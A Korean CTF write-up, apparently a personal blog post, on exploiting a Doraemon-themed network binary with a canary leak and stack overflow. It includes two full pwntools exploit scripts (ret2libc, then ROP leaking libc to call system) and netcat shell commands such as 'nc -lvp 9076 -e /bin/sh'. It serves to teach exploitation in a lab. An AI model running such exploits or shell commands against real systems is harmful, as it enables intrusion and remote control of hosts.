보호기법은 스택카나리와 NX가 걸려있다.
이 바이너리도 소켓으로 통신을 하는 바이너리라서 먼저 1번 터미널에서 실행을 시켜주고 2번 터미널에서 nc로 붙어야 한다.
실행을 하면 메뉴가 나온다.
근데 처음에 이 메뉴들을 실행을 시키면 open error라는 메시지가 뜨면서 바이너리가 종료된다.
그래서 아이다로 찾아보니 이 바이너리가 실행되는 위치에 각각 조건에 맞는 파일이 open()되지 않아서 open error라는 메시지를 띄워주는 것이였다.
그래서 각가 맞는 조건을 gdb와 ida를 보고 찾아서 생성해줬다.
그 후 각 메뉴를 실행해보면 도라에몽을 공격할 수도있고 체력을 회복시켜줄 수 도 있다.
각 메뉴에 대해 취약점이 존재하는지 확인해보았다.
4번 메뉴에서 취약점이 나온다.
4번 메뉴를 입력하면 y와 n을 입력받는데 그 때의 함수를 보면 read(fd, ebp-0x16, 0x6e) 이다.
즉 버퍼는 22만큼의 공간을 가지고 있는데.. read할 사이즈는 110이다.
해당 함수의 변수를 보면
ebp-0x20
ebp-0x1c
ebp-0x16
ebp-0x12
ebp-0xe
ebp-oxc
ebp-0x8까지 있다.
즉 ebp-0x16부터 ebp+0x4까지 덮으려면 22바이트가 필요하다. 하지만 여기엔 카나리가 들어가므로 총 26바이트를 넣어준 후 다음 4바이트가 ret를 덮을 것이다.
이제 카나리 값을 알아야 하는데.
ebp-0x16에서 카나리를 릭해줘야 한다.
처음에 y를 8개 넣으니 당연히 아무값도 출력이 안된다.
그래서 9개를 넣어보았다.
하지만 9개도 카나리가 나오지 않았다.
즉 카나리의 첫바이트는 널바이트라는 것이다.
그래서 10개를 넣으니 카나리가 릭됐다.
카나리는 이렇게 릭을 해주면 되고..
처음엔 내부에 있는 execl()함수와 /bin/sh을 실행시키도록 코드를 짜서 rtl을 해보니 서버단에서 쉘이 따지고 attacker는 쉘이 보이지 않았다.
처음에 짠 exploit code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | from pwn import * def canary_leak(): p = remote( "localhost" , 8888 ) print p.recvuntil( ">" ) p.sendline( "4" ) print p.recvuntil( "(y/n)" ) p.sendline( "y" * 10 ) print p.recvuntil( "You choose '" ) dummy_canary = p.recvuntil( "'!" ).split( "\n" )[ 1 ] canary = u32( "\x00" + dummy_canary[ 0 : 3 ]) ret = u32(dummy_canary[ 15 : 19 ]) log.info( "canary = {}" . format ( hex (canary))) log.info( "ret = {}" . format ( hex (ret))) print p.recvuntil( "MOUSE!!!!!!!!! (HP - 25)\"" ) + p.recvuntil( "\n" ) p.close() return canary def exploit(canary): binsh = 0x804970d bss = 0x804b080 execl_plt = 0x8048710 pppr = 0x8048b2c payload = "y" * 10 payload + = p32(canary) payload + = "A" * 12 payload + = p32(execl_plt) payload + = p32(pppr) payload + = p32(binsh) payload + = p32(binsh) payload + = p32( 0 ) p = remote( "localhost" , 8888 ) p.recvuntil( ">" ) p.sendline( "4" ) print p.recvuntil( "(y/n)" ) p.sendline(payload) p.interactive() if __name__ = = "__main__" : canary = canary_leak() exploit(canary) |
위 방법은 attacker입장에선 무의미하다.
그래서 rop 가젯을 모아서 익스플로잇을 해주면 된다.
libc주소를 write()로 릭해서 system함수를 offset으로 구한 후 system()함수를 실행 해주면 익스가 된다. (최종적으론 리버스쉘로 풀었다.)
exploit code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 | from pwn import * def canary_leak(): p = remote( "localhost" , 8888 ) print p.recvuntil( ">" ) p.sendline( "4" ) print p.recvuntil( "(y/n)" ) p.sendline( "y" * 10 ) print p.recvuntil( "You choose '" ) dummy_canary = p.recvuntil( "'!" ).split( "\n" )[ 1 ] canary = u32( "\x00" + dummy_canary[ 0 : 3 ]) ret = u32(dummy_canary[ 15 : 19 ]) log.info( "canary = {}" . format ( hex (canary))) log.info( "ret = {}" . format ( hex (ret))) print p.recvuntil( "MOUSE!!!!!!!!! (HP - 25)\"" ) + p.recvuntil( "\n" ) p.close() return canary def exploit(canary): read_plt = 0x8048620 read_got = 0x804b010 write_plt = 0x80486e0 write_got = 0x804b040 binsh = 0x804970d bss = 0x804b080 system_offset = 0x9add0 # write - system pppr = 0x8048b2c #cmd = "/bin/sh -i <&4 >&4 2>&4\x00" #cmd = "ls -l | nc localhost 9076\x00" cmd = "nc -lvp 9076 -e /bin/sh\x00" payload = "y" * 10 payload + = p32(canary) payload + = "A" * 12 payload + = p32(write_plt) payload + = "JUNK" payload + = p32( 4 ) payload + = p32(write_got) payload + = p32( 4 ) p = remote( "localhost" , 8888 ) p.recvuntil( ">" ) p.sendline( "4" ) print p.recvuntil( "(y/n)" ) p.sendline(payload) print len (p.recv()) libc_write = u32(p.recv()) log.info( "libc_write = {}" . format ( hex (libc_write))) system_addr = libc_write - system_offset log.info( "system_addr = {}" . format ( hex (system_addr))) p.close() payload = "y" * 10 payload + = p32(canary) payload + = "A" * 12 payload + = p32(read_plt) payload + = p32(pppr) payload + = p32( 4 ) payload + = p32(bss) payload + = p32( len (cmd)) payload + = p32(system_addr) payload + = "JUNK" payload + = p32(bss) p = remote( "localhost" , 8888 ) p.recvuntil( ">" ) p.sendline( "4" ) print p.recvuntil( "(y/n)" ) p.sendline(payload) print p.recv() p.sendline(cmd) p.interactive() if __name__ = = "__main__" : canary = canary_leak() exploit(canary) |
'CTF' 카테고리의 다른 글
CodeGate2016 watermelon (0) | 2018.07.26 |
---|---|
CodeGate2014 nuclear (0) | 2018.07.22 |
CodeGate 2017 babypwn (1) | 2018.07.18 |
pico-ctf-2013 rop-4 (0) | 2018.07.17 |
pico-ctf-2013 rop-3 (0) | 2018.07.14 |